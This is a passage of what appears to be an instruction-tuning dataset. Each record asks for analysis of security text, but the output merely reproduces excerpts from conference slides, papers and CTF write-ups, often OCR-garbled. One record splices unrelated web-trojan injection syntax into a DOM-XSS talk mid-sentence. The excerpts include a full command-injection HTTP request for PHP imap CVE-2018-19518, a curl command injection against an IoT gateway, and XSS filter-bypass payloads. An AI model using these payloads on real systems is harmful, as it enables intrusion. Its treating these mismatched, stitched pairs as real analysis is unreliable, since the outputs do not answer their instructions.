możemy podzielić odpowiedź na pakiety, i widzimy dodatkowo że odpowiedź kończy sie zawsze bajtami `END`. Z tą wiedzą dekodujemy wszystkie pakiety po kolei, używamy trochę domyślności i dochodzimy do takiej oto struktury: struct packet { uint16_t length; uint16_t hash; uint16_t magic1; uint16_t conn_id; uint16_t seq_id; uint16_t unk2; uint8_t raw[10000]; }; Napisaliśmy mały tool do dumpowania zawartości poszczególnych pakietów z tej struktury: msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/forensics_200_pcapin $ ./a.exe PACKET 0 - size: 68 bytes - hash: 0 - magic1: 732 - conn_id: 1 - seq_id: 0 - unk2: 0 - calculated hash: f9e9 - rawdata: 00 25 f2 a9 8d 96 8a 8c 84 9c 87 8d c7 89 8d 9f e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 60 00 PACKET 1 - size: 68 bytes - hash: 0 -", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# PHP imap 远程命令执行漏洞CVE-2018-19518 php imap扩展用于在PHP中执行邮件收发操作其`imap_open`函数会调用rsh来连接远程shell而debian/ubuntu中默认使用ssh来代替rsh的功能也就是说在debian系列系统中执行rsh命令实际执行的是ssh命令 因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令攻击者通过注入注入这个参数最终将导致命令执行漏洞 参考链接 - https://bugs.php.net/bug.php?id=77153 - https://github.com/Bo0oM/PHP_imap_open_exploit - https://antichat.com/threads/463395/#post-4254681 - https://nvd.nist.gov/vuln/detail/CVE-2018-19518 ## 漏洞环境 执行如下命令启动一个包含漏洞的PHP环境 ``` docker compose up -d ``` 环境启动后访问`http://your-ip:8080`即可查看web页面Web功能是测试一个邮件服务器是否能够成功连接需要填写服务器地址用户名和密码 目标源码在[index.php](www/index.php) ## 漏洞复现 发送如下数据包即可成功执行命令`echo '1234567890'>/tmp/test0001` ``` POST / HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 125 hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222 ``` 执行`docker compose exec web bash`进入容器可见`/tmp/test0001`已成功创建 ![](1.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCOPYRIGHT 2006 McAfee Inc. Whats Next? Hacks-In-Taiwan 2006 Keynote Yen-Ming Chen Senior Principal Consultant Foundstone, A Division of McAfee 2 COPYRIGHT 2006 McAfee Inc. Agenda Introduction Security Ecosystem Security Trends Security Technology Conclusion 3 COPYRIGHT 2006 McAfee Inc. Introduction Yen-Ming Chen Sr. Principal Consultant Been to 12 countries, 7 offices and 6 years with Foundstone Contributing author of four security books and numerous published articles. Master of Science in Information Networking from C.M.U. Provide security risk assessment from web applications to emerging technologies 4 COPYRIGHT 2006 McAfee Inc. Security EcoSystem Government Corporate/Organization The Bad Guys General Public Attack Attack Attack Sell Products Sell Products Regulate Catch 5 COPYRIGHT 2006 McAfee Inc. A Chronology of Data Breaches Reported Since the ChoicePoint Incident (Feb, 2005) Unfortunately I am one of the innocent victim too! 6 COPYRIGHT 2006 McAfee Inc. Security Trend The Problem 7 COPYRIGHT 2006 McAfee Inc. Vulnerability-to-worm cycle is shrinking 288 104 205 88 26 0 50 100 150 200 250 300 350 1999 2000 2001 2002 2003 Days 8 COPYRIGHT 2006 McAfee Inc. The sophistication of attacks is rising The sophistication of attacks is rising 9 COPYRIGHT 2006 McAfee Inc. Internet security has come a long way Internet Nirvana Internet Centric Internet Enabled Internet Aware Internet Isolated Firewalls Antivirus Consolidate authorization Outsourcing grunt work Enterprise Vulnerability Management Systems Risk Management Dashboard Application security Security resource dashboard Intrusion detection Vulnerability assessment Gartner Managing the Risks of IT Security September 2002 Internet Darwinism = Survival of the Fittest From Reactive to Proactive From Assessing to Managing 10 COPYRIGHT 2006 McAfee Inc. Security Technology Firewalls IDS VM/Risk Management Secure Coding / Secure Architecture Secure OS Vulnerability Assessment SSO PKI VPN Today IPS 1996 1998 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nShellcodes for ARM: Your Pills Dont Work on Me, x86 Svetlana Gaivoronski @SadieSv Ivan Petrov @_IvanPetrov_ Why its important q Increasing number of ARM-based devices q Significant number of vulnerable so:ware and huge base of reusable code q Memory corrup?on errors are s?ll there @SadieSv @_IvanPetrov_ Is it decidable? Ac?vator NOP GetPC Decryptor Payload Return address zone q Structure limita?ons q Size limita?ons @SadieSv @_IvanPetrov_ May be its not that bad? q Stack canaries: calculates pseudo-random number and saves it to the stack; q SafeSEH: instead of protecDng stack protects excepDon handlers ; q DEP: makes stack/part of stack non- executable; q ASLR: randomizes he base address of executables, stack and heap in a processs adress space . BYPASSED @SadieSv @_IvanPetrov_ Okay, whats the ARM problem? q Shellcodes are already there q Shellcode detec?ons methods (okay, smarter than signature-based) are not Are x86-based methods are applicable here? For analysis of appicapability of х86based techniques for ARM its reasonable to understand differences of two platforms. @SadieSv @_IvanPetrov_ Main differences of two platforms: q Commands size is fixed; q 2 different CPU modes (32bit and 16bit)and possibility to dynamic switching between them; q Possibility of condiDonal instrucDon execuDon; q Possibility of direct access to PC; q load-store architecture (not possible to access memory directly from arithmeDc instrucDons); q FuncDon arguments (and return address as well) go to registers, not stack. @SadieSv @_IvanPetrov_ i f ( e r r != 0) p r i n t f ( \" Er r o r c o d e = %i \\ n \" , e r r ) ; e l s e p r i n t f ( \"OK! \\ n \" ) ; CMP r1 , #0 BEQ . L4 LDR r0 , < string_1_address > BL prin] B . L8 . L4 : LDR r0 , < string_2_address > BL prin] . L8 : CMP r1 , #0 LDRNE r0 , < string_1_address > LDREQ r0 , < string_2_address > BL prin] Without condi?onal instruc?ons With condi?onal instruc?ons Condi?onal execu?on @SadieSv @_IvanPetrov_ Thumb CPU mode chmod(\"/etc/passwd\", 0", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nIOT安全 - 测信道实战 演讲人KEVIN2600 2019 @Kevin2600 议程 . 测信道的那点事 . 测信道案例简析 . 测信道 Power Analysis 测信道的那点事 测信道攻击是一种针对软件或硬件设计缺陷, 剑走偏锋的攻击方式 攻击途径通常采用被动式监听, 或通过特殊渠道发送隐蔽数据信号 攻击点不在暴力破解, 而是通过功耗; 时序; 电磁泄漏等方式达到 破 解 目 的 . 在 很 多 物 理 隔 绝 的 环 境 中 , 往 往 也 能 出 奇 制 胜 测信道 测信道 . Public key signature check . Bootloader 加固 (bootdelay = 0) . 屏蔽调试端口 UART; JTAG; SPI; I2C . 电子设备全部物理隔离 (Air Gapping) 测信道 WordPress 测信道 Drupal 测信道门禁 测信道门禁 被动式: : 声波信号采集还原打印机原文 : 美国 NSA 电磁波监听 (TEMPEST) : 功耗分析破解南韩公交卡密钥系统 (3DES) : 功耗分析获取 Philipe Hue 智能灯系统密钥 (AES) 主动式: : Xbox360 Glitch 攻击 (运行 unsigned code) : 智能网关 Hue NAND Glitch (得到 Root 权限) : 通过毛刺注入成功获取硬件钱包 Trezor 闪存敏感信息 : 以色列 Ben-Gurion 大学通过 USB 发送电磁信号 (USBee) 测信道案例简析 时耗分析 时耗分析 NAND-Glitch NAND-Glitch 物联网设备网关 (WinkHub) 通过网页对其进行访问 (set_dev_value.php) curl 192.168.01/set_dev_value.php -d nodeId=a&attrId=; uname -a; NAND-Glitch . NAND Flash 通常存储固件; Bootloader; 内核以及root files . 使用数据线在系统启动, 读取 NAND 内核信息瞬间, 短接 I/O pin . 在正确的时间点, 阻止 Bootloader 读取正确的内核数据从而进入 shell 模式 NAND-Glitch 测信道 Power Analysis 功耗分析 . Power analysis (Simple & Differential) . 处理器运行不同指令在功耗需求上也不近相同 . 需要了解目标设备所采用的加密算法 . 信号的采集必须在加密或解密的过程中完成 功耗分析 功耗分析 (ChipWhisperer) . Colin O'Flynn 设计制作, 学习 SCA 功耗分析和毛刺注入神器 . 基于Python 跨平台开源软硬件项目 (Windows; Linux; MacOS) . 可用于时序或电压毛刺注入攻击测试, 产生 <2nS 的脉冲信号 . 通过 DPA 差分功耗分析获取诸如 RSA; AES; 3DES 等加密密钥 功耗分析 (SPA) . 处理器运行验证指令在功耗表现上不尽相同 . 密码验证过程功耗表现 (密码错误 -->无限循环) . 寻找目标设备在特定时刻 (加密/解密) 功耗图形的差异 功耗分析 (SPA) 功耗分析 (DPA) 目标设备 测量方法 测量结果 功耗分析 (DPA) 功耗分析 (DPA) 功耗分析 (AES-128) 功耗分析 (DPA) 功耗分析 (电磁信号) . 电磁波可通过 H 探头和软件无线电设备远程获取 . 芯片01转换产生电磁波从空气中泄漏, 其中包含密 钥指纹信息 . Tel Aviv 大学科研人员通过测量分析电磁发射获取 GnuPG 密钥信息 功耗分析 (电磁信号) 功耗分析 (DPA) One More Thing .. 测信道 EMFI 测信道 EMFI 测信道 EMFI 测信道 EMFI 测信道 EMFI Summary 百分百安全的系统并不存在 边信道分析与防御, 硬件安全必备技能 完美的设计, 实施过程中百密疏, 将导致系统完全崩溃 谢谢观看 演讲人KEVIN2600", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nStolen Data Markets: An Economic and Organizational Assessment This project was supported by Award No. 2010-IJ-CX-1676, awarded by the National Institute of Justice, Office of Justice Programs, U.S. Department of Justice. The opinions, findings, and conclusions or recommendations expressed in this publication are those of the authors and do not reflect those of the Department of Justice. Thomas J. Holt Michigan State University holtt@msu.edu Olga Smirnova Eastern Carolina University Yi-Ting Chua Michigan State University Stolen Data Markets There is an increasingly large body of research on the organization and dynamics of the market for stolen data IRC (Franklin et al., 2007; Herley & Florencio, 2010; Holz et al., 2009; Honeynet Research Alliance, 2003; Thomas & Martin, 2006) Forums (Chu et al., 2010; Holt & Lampke, 2010; Motoyama et al., 2011; Yip et al., 2013) Stolen Data Markets Few studies have estimated the economics of the market or the organizational dynamics present Herley and Florencio (2010) and Wehinger (2011) argue that there may be multiple markets operating at any point in time Lower priced markets with greater risk for participants and minimal barriers to entry Higher priced markets with insularity, trust, and organization The Present Study This study is designed to address multiple questions: What are the costs for goods and services in this market like and what conditions impact this economy? What is the social organization of the market and how does it affect participants? What are the network structures between individual participants and how do they resemble other criminal organizations? Data Sources: 13 Active Forums Forum Descriptive Statistics for Forums Sampled (n=13) Number of Threads Hosting Country Language 1 55 DE RU 2 128 US ENG 3 6 US RU 4 144 VG RU 5 89 UK RU 6 44 RU RU 7 202 RU ENG/RU 8 590 LV ENG 9 312 RU ENG/RU 10 35 DE RU 11 60 RU RU 12 71 NL RU 13 153 LU RU Economic Analyses- Products Sold Data Acquisition Phishing Sk", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDOM-XSS 漏洞的挖掘与攻击面延伸 陈思涛 北京长亭科技有限公司深圳分公司Web安全研究员 目录 DOM-XSS 挖掘与利用 DOM-XSS 常见位置 DOM-XSS 优势在哪 XSS 巧妙利用 DOM-XSS常见位置 DOM-XSS 常见位置 1URL代入页面 这类DOM-XSS是最常见的它的漏洞点通常是以下形式出现 DOM-XSS 常见位置 它出现的地方比较多可能会是名称地点标题等等 大多数情况下它和反射型XSS的区别不大最大的区别是取的值不同 此时取值时匹配的URL是location.href这个值包含了 location.search 和 location.hash 的值而 location.hash 的值是不被传到服务器并且能被前端 JS通过 getUrlParam 函数成功取值 DOM-XSS 常见位置 2跳转 在 javascript 语法中使用如下代码可以将页面进行跳转操作 DOM-XSS 常见位置 这样的跳转通常会出现在登录页退出页中间页 如果开发者让用户可以控制 redirecturl 参数就可以使 用 javascript:alert(1) 的形式进行XSS攻击 最近几年的APP开发比较热门通过web唤起APP的操作也是越来越多跳转的协议也 是多种多样例如 webview:// , myappbridge://等等 仅仅使用 http 和 https 来判断URL是否合法已经不适用了于是由跳转所产生的 DOM-XSS漏洞也逐渐增多 3postMessage DOM-XSS 常见位置 postMessage 支持跨域使用使用场景比较广泛如支付成功登录退出唤起 APP等等 这段代码中监听了message事件取了 e.data 的值也就是来自于其他页面 上的message消息但是没有检测来源如果页面允许被嵌套即可嵌套该页面 再使用 window[0].postMessage 即可向该窗口发送数据 DOM-XSS 常见位置 DOM-XSS 常见位置 4window.name window.name 与其他 window 对象不同它在窗口刷新后会保留 当这个页面刷新跳转到其他网站时如果这个网站没有对 window.name 进行设置那么当前 window.name的值仍然是Foo DOM-XSS 常见位置 5缓存 开发者在缓存前端数据的时候通常会存在 sessionStorage , localStorage , cookie 中因为 sessionStorage 在页面刷新时就失效的特性利用方式相对简单的 只有后面两种 DOM-XSS 常见位置 Cookie 根据浏览器的同源策略Cookie是可以被子域名读到的 一旦我们发现在 http://example.com/setCookie.php?key=username&value=nick 下可以设置Cookie, 就可以结合一些读取Cookie的页面进行XSS攻击 DOM-XSS 常见位置 localStorage localStorage 的特性和Cookie类似但它和Cookie不同的是Cookie被设置过之后 具有有效期这个特性而localStorage被设置过后只要不手动清除或覆盖这个值永远 不会消失 Cookie中通常会存放少量的缓存信息像用户的头像URL用户名等等而localStorage 中通常会存放一些大量需要重复加载的数据如搜索历史记录缓存JS代码等等这些 值被修改过以后大部分开发者都不会去校验它的合法性是否被修改过 DOM-XSS 优势在哪 DOM-XSS 优势在哪 避开WAF 正如我们开头讲的第一种DOM-XSS可以通过 location.hash 的方式将参数写在 # 号后既能让JS读取到该参数又不让该参数传入到服务器从而避免了WAF的检测 可以使用 ja%0avasc%0aript:alert(1) , j\\x61vascript:alert(1) 的形式绕过 可以利用 postMessage,window.name,localStorage 等攻击点进行XSS攻击的攻击代 码不会经过WAF DOM-XSS 优势在哪 长度不限 当我们可以用当前页面的变量名作为参数时可以使用 JScript 的網馬設計 xxx.js檔案程式如下: 然後將此檔案利用任何方式上傳至目標主機 document.write(\"\"); JScript 掛馬的語法為 JScript 變型加密的網馬 muma.txt 可改成任何附檔名 body 的網馬 隱藏的網馬 top.document.body.innerHTML = top.document.body.innerHTML + '\\r\\n'; 常見網頁掛馬語法(cont.) CSS 的網馬先將製作好的muma.js 先利用各種方式上傳至目標處 body { background-image: url('javascript:document.write(\"\")')} JAVA 的網馬 圖片偽裝網馬 編碼轉換網馬 ascii編碼轉換 常見網頁掛馬語法(cont.) 偽裝呼叫網馬 欺騙超連結", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSo You Think Your Domain Controller Is Secure? Justin Hendricks @Script_Happens Abstract Domain Controllers are the crown jewels of an organization. Once they fall, everything in the domain falls . Organizations go to great lengths to secure their domain controllers, however they often fail to properly secure the software used to manage these servers. This presentation will cover unconventional methods for gaining domain admin by abusing commonly used management software that organizations deploy and use. Presentation Materials Visit https://scripthappens.azurewebsites.net/ for the full presentation, sample code, and demo videos.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAttacking The Internet of Things (using time) Paul McMillan Who am I? There are many ways to attack the Internet of Things Demo (start) What is a timing attack? def authenticate_user(user, pass): stored_hash=get_password_hash(user): if stored_hash: test_hash = sha1(password) if test_hash == stored_hash: Return True Else: Return False Many Kinds User Enumeration Blind SQL Injection CPU Cache attacks against crypto Local Cross-VM Lucky 13 Many more... String Comparison Timing Attacks memcmp while (len != 0) { a0 = ((byte *) srcp1)[0]; b0 = ((byte *) srcp2)[0]; srcp1 += 1; srcp2 += 1; res = a0 - b0; if (res != 0) return res; len -= 1; } MASSIVE Speedup c = character set n = Length of string Brute Force: cn Timing Attack: c * n (* x) (x is # tries to distinguish) Why are they interesting? What are the drawbacks? Let's talk about time Internet SF-NY 70ms Spinning Disk 13ms Ram Latency 83ns L1 cache 1ns 1 cpu cycle ~0.33ns Speed of light in network cable 1 meter in ~5ns 200 meters ~1µs So... how long does each byte of that string comparison take? nanoseconds (on a modern 3Ghz machine) What about something a little slower? Network timing precision Sources of Imprecision Graphics drivers Background networking USB Devices Power saving measures Audio devices Etc. Software Timestamps are noisy. Let's use hardware! (picture of i350 + adapter) Data Collection Generate repeated traffic TCPdump the packets Analyze the data Feed back to traffic gen Making things work Libpcap 1.5.0+ TCPDump 4.6.0+ (released July 2, 2014) Recent-ish Kernel Compile these from source. In theory, this might work on OSX? It works on Ubuntu 14.04 for me. Nanoseconds. Ugh! Scapy doesn't read the pcap files Neither do most other packages Wireshark does! Nanosecond timestamps lose precision if you convert them to a float() So we subtract a large offset, and don't work with raw timestamps. Use integer Nanoseconds rather than float seconds What is the Hue API? GET /api//lights Bas", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAdvanced SQL Injection Presented By: Joe McCray joe@learnsecurityonline.com http://twitter.com/j0emccray http://www.linkedin.com/in/joemccray The Last of a Dying Breed A Network Penetration Tester You know the nmap, exploit, upload netcat type of guy. A.K.A: The only black guy at security conferences Joe McCray.... Who the heck are you? Step 1: Tell customer you are 31337 security professional Customers only applied patches if it fixed something on the system It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!) Step 2: Scan customer network with ISS or Nessus if you were a renegade Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports... Step 3: Break out your uber 31337 warez and 0wn it all!!!!! You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!! Penetration Testing Was Easy.... If you were Ub3r 31337 you did it like this.... Port Scan & Banner Grab The Target Get your exploit code... Own the boxes and take screen-shots Write The Report... Get Paid.... More Security Measures are being implemented on company networks today Firewalls are common place (perimeter and host-based) Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows Intrusion Detection/Prevention Systems are hard to detect let alone bypass NAC Solutions are making their way into networks Network/System Administrators are much more security conscious IT Hardware/Software vendors are integrating security into their SDLC Geez...That's A Lot To Bypass ...I used to think Web App Security was stupid sh*t This stuff isn't hacking\" but then I saw demo of a tool called sqlninja upload nc.exe to a host vulnerable to sql injection I was hooked!!!!!!!!!!!!!!!!!!!! What Did It For Me Getting", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH QUOTAON 8 \"Fri Mar 09 2001\" .UC 4 .SH NAME quotaon \\- 开启关闭文件系统配额 .SH \"总览 (SYNOPSIS)\" .B quotaon [ .B -e | .B d ] [ .B -vug ] .IR filesystem .\\|.\\|. .br .B quotaon [ .B -e | .B d ] [ .B -avug ] .PP .B quotaoff [ .B -e | .B d ] [ .B -vug ] .IR filesystem .\\|.\\|. .br .B quotaoff [ .B -e | .B d ] [ .B -avug ] .SH \"描述 (DESCRIPTION)\" .IX \"quotaon 命令\" \"\" \"\\fLquotaon\\fP \\(em 打开文件系统配额\" .IX \"用户配额\" \"quotaon 命令\" \"\" \"\\fLquotaon\\fP \\(em 打开文件系统配额\" .IX \"磁盘配额\" \"quotaon 命令\" \"\" \"\\fLquotaon\\fP \\(em 打开文件系统配额\" .IX \"配额\" \"quotaon 命令\" \"\" \"\\fLquotaon\\fP \\(em 打开文件系统配额\" .IX \"文件系统\" \"quotaon 命令\" \"\" \"\\fLquotaon\\fP \\(em 打开文件系统配额\" .IX \"quotaoff 命令\" \"\" \"\\fLquotaoff\\fP \\(em 关闭文件系统配额\" .IX \"用户配额\" \"quotaoff 命令\" \"\" \"\\fLquotaoff\\fP \\(em 关闭文件系统配额\" .IX \"磁盘配额\" \"quotaoff 命令\" \"\" \"\\fLquotaoff\\fP \\(em 关闭文件系统配额\" .IX \"配额\" \"quotaoff c命令\" \"\" \"\\fLquotaoff\\fP \\(em 关闭文件系统配额\" .IX \"文件系统\" \"quotaoff 命令\" \"\" \"\\fLquotaoff\\fP \\(em 关闭文件系统配额\" .LP .B quotaon 通知系统在一个或者几个文件系统上使用磁盘配额 .B quotaoff 通知系统取消某一个特定的文件系统的所有磁盘配额 被指定的文件系统必须已经装载 .B quotaon 要求在指定的文件系统的根目录下有相应的配额文件 用户配额文件是 .IR aquota.user 组配额文件是 .IR aquota.group 这些文件可以是用 .BR convertquota (8) 命令转换旧的配额文件而来 也可以是用 .BR quotacheck (8) 命令创建的一个全新的文件 默认是用户和组配额 都被允许 .SH \"选项 (OPTIONS)\" .TP .B -e 开启指定文件系统配额 当程序名是 .B quotaon 时 此选项是默认的 . .TP .B -d 关闭指定文件系统配额 当程序名是 .B quotaoff 时 此选项是默认的 . .TP .B -a 当用在任何文件系统名称的地方时 .B quotaon/quotaoff 将允许/禁止所有在 .B /etc/mtab 中指定的文件系统为有磁盘配额的读-写 这个选项一般被用在系统启动时开启配额 .TP .B -v 为每个开启或关闭配额的文件系统显示一条消息 .TP .B -u 处理用户配额 这是默认选项 .TP .B -g 处理组配额 .LP .SH \"文件 (FILES)\" .PD 0 .TP 20 .B aquota.user 文件系统根目录下的用户配额文件 .TP .B aquota.group 文件系统根目录下的组配额文件 .TP .B /etc/mtab 已装载的文件系统表 .PD .SH \"参见 (SEE ALSO)\" .BR quota (1), .BR quotactl (2), .BR fstab (5), .BR convertquota (8), .BR quotacheck (8), .BR setquota (8), .BR edquota (8), .BR repquota (8) .SH \"作者 (AUTHOR)\" Jan Kara \\ .SH \"[中文版维护人]\" .B 唐友 \\ .SH \"[中文版最新更新]\" .BR 2001/7/13 .SH \"[中国 Linux 论坛 man 手册页翻译计划]\" .BI http://cmpp.linuxforum.net", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1564-001-linux-隐藏文件和目录 ## 来自ATT&CK的描述 为了防止普通用户误操作更改系统上的特殊文件大多数操作系统都具有隐藏文件的概念当用户使用GUI浏览文件系统或在命令行上使用普通命令时这些文件不会显示用户必须明确要求通过一系列图形用户界面GUI提示或命令行查看隐藏文件例如windows下的dir /alinux或MAC下的ls -a命令等 攻击者可以利用这一点来隐藏系统中任何位置的文件和文件夹以便持久化并逃避不进行隐藏文件分析的用户或分析师 linux/mac 用户可以将特定文件标记为隐藏只需将.作为文件或文件夹名称中的第一个字符默认情况下以点.开头的文件和文件夹无法在Finder应用程序和标准命令行实用程序如ls中查看用户必须专门更改设置才能查看这些文件对于命令行用法通常会有一个标志来查看所有文件包括隐藏文件要在Finder应用程序中查看这些文件必须执行以下命令defaults write com.apple.finder AppleShowAllFiles YES然后重新启动Finder应用程序 ## 测试案例 ```bash mkdir .xx -a #创建一个隐藏文件夹 mv file to a .file #移动文件到目录a下并修改为隐藏文件 ``` ## 检测日志 bash历史记录 值得注意的是你可以从一些特定目录路径中查找到隐藏文件/目录并将其转储到某个位置提取出可以文件夹并查找恶意隐藏文件 ## 测试复现 ```bash icbc@icbc:/xx$ sudo mkdir .xx-a icbc@icbc:/xx$ sudo mv 1.sh /xx/.sh ``` ## 测试留痕 ```bash icbc@icbc:/$ history 1 sudo mkdir .xx-a 2 sudo mv 1.sh /xx/.sh ``` ## 检测规则/思路 ### splunk规则 index=linux sourcetype=bash_history bash_command=\"mkdir .*\" | table host,user_name,bash_command index=linux sourcetype=bash_history bash_command=\"mv *.*\" | table host,user_name,bash_command ### 建议 值得注意的是你也可以通过命令直接在问题主机上进行查找当然你可以使用白名单来过滤掉linux系统中的标准隐藏文件/目录这样可以减轻误报 find_hidden_files.sh ```dos find /home/ -name \".*\" find /home/ -type d -name \".*\" find /home/ -type f -name \".*\" ``` ## 相关TIP [[T1564-001-win-发现攻击者在回收站中隐藏恶意软件]] [[T1564-001-win-隐藏的文件和目录]] [[T1564-003-win-隐藏窗口]] ## 参考推荐 MITRE-ATT&CK-T1564-001 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBUILDING AN ANDROID IDS ON NETWORK LEVEL Jaime Sanchez @segofensiva http://www.seguridadofensiva.com jsanchez@seguridadofensiva.com 2 $ WHO I AM Passionate about computer security. Computer Engineering degree and an Execu7ve MBA. In my free 7me I conduct research on security and work as an independent consultant. Im from Spain; Were sexy and you know it. Other conferences: RootedCON in Spain Nuit Du Hack in Paris Black Hat Arsenal USA Next months: DerbyCON and Hack7vity. BUILDING AN ANDROID IDS ON NETWORK LEVEL DEFCON 21 3 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL FIRST TIME IN LAS VEGAS !! 4 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL Being popular is not always a good thing. Mobile malware and threats are clearly on the rise. Over 100 million Android phones shipped in the second quarter of 2012 alone. Targets this large are difficult for aNackers to resist! WHY? 5 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL USSD EXPLOIT WEBKIT VULNERABILITIES TARGETED MALWARE !!! METERPRETER FOR ANDROID !!! 6 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL In order to analyze the traffic flows well create a VPN tunnel between our Android device and our computer. Configure and launch snort on the remote machine to detect suspicious traffic. We can also use tools like tcpdump to capture traffic for later analysis. FIRST APPROACH VPN eth0:WiFi rmnet0: 3G snort tcpdump 7 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL PROBLEMS 8 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL CONTINUED MY LIFE ... OSfooler is a pracIcal approach presented at Black Hat Arsenal USA 2013. It can be used to detect and defeat acIve and passive remote OS fingerprinIng from tools like nmap, p0f or commercial appliances. FUCK YEAH!! KERNEL SPACE USER SPACE KERNEL SPACE is strictly reserved for running the kernel, kernel extensions, and most device drivers. USER SPACE usually refers to the various programs and libraries that the operaIng system uses to interact with the ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Musicetry (Misc 200) ``` They should have forbidden this from the moment they hear abou the idea! Damn circles, rectangles is all we needed! ``` ###ENG [PL](#pl-version) In the task we get a webpage with a CD picture. We thought this might be stegano, but the picture was `.jpg` and it was hotlinked from a legitimate webpage so we figured it can't be it. We noticed also a strange `data` cookie set by the webpage. There were 4 different cookies we could get: ``` ## %% ``` ``` ## %% %++ %++ %++ %++ @* %++ @* #% %# %++ %++ %++ %++ %++ @** %% %++ %++ @* %# ## #% %++ %++ %++ %++ @** %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @** ## %% %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @* ``` ``` ## %% %++ %++ %++ %++ %++ %++ %++ %++ @* %++ @* %++ %++ %++ %++ %++ @* %++ %++ %++ %++ %++ %++ @* %% ## ``` ``` ## %% %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @* %# %++ @** %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ %++ @** %# %++ %++ %++ %++ %++ @*** ``` One of our friends spent once a few hours on a CTF reversing a certain brainfuck-like language from scratch, using only the code which should print a flag (we know the flag prefix). Later it turned out that this was an actual esoteric language with a specification... Anyway, our friend instantly recognized `data` payload as code for TapeBagel language. And we already had interpreter for it: https://github.com/p4-team/ctf/tree/master/2016-02-20-internetwache/re_80 So we used the interpreter to decode the inputs, getting `HINT`, `TAPE`, `DEFCESO`. This was a big WTF for us, because we were sure this is just a hint for the task solution, so we were trying to google anything related, to no avail. In the end one of our friends just checked if md5 of `DEFCESO` is not a flag, and it was... ###PL version W zadaniu dostajemy linkkdo strony z obrazkiem płyty CD. Myśleliśmy początkowo że może to być stegano, ale obrazek był `.jpg` i był linkowany z prawdziwej strony", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nA Picture is Worth a Thousand Words, Literally: Deep Neural Networks for Social Stego Philip Tully and Michael T. Raggo Abstract and Introduction Images, videos and other digital media provide a convenient and expressive way to communicate through social networks. But such broadcastable and information-rich content provides ample illicit opportunity as well. Web-prevalent image files like JPEGs can be disguised with foreign data since theyre perceivably robust to minor pixel and metadata alterations. Slipping a covert message into one of the billions of daily posted images may be possible, but to what extent can steganography be systematically automated and scaled? To explore this, we first report the distorting side effects rendered upon images uploaded to popular social network servers, e.g. compression, resizing, format conversion, and metadata stripping. Then, we build a convolutional neural network that learns to reverse engineer these transformations by optimizing hidden data throughput capacity. Pre-uploaded and downloaded image files teach the network to locate candidate pixels that are least modifiable during transit, allowing stored hidden payloads to be reliably recalled from newly presented images. Deep learning typically requires tons of training data to avoid overfitting. But data acquisition is trivial using social networks free image hosting services, which feature bulk uploads and downloads of thousands of images at a time per album. We show that hidden data can be predictably transmitted through social network images with high fidelity. Our results demonstrate that AI can hide data in plain sight, at large-scale, beyond human visual discernment, and despite third-party manipulation. Steganalysis and other defensive forensic countermeasures are notoriously difficult, and our exfiltration techniques highlight the growing threat posed by automated, AI-powered red teaming. Contents Abstract and Introduction 1 The Evolution of Steganography DIY Social S", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": 